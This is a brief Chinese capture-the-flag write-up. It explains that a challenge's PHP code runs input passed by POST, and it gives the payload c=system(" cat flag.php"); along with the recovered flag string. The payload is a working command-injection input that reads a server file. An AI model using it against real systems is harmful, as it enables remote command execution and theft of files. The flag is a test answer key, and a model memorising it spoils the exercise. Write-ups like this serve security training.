打开容器后发现就是一段PHP代码,根据提示直接传入参数,切记是post传参, c=system(" cat flag.php"); 查看源代码即可拿到flag。 flag{POSTXXQWEQLJLQJWJEIIJOQW}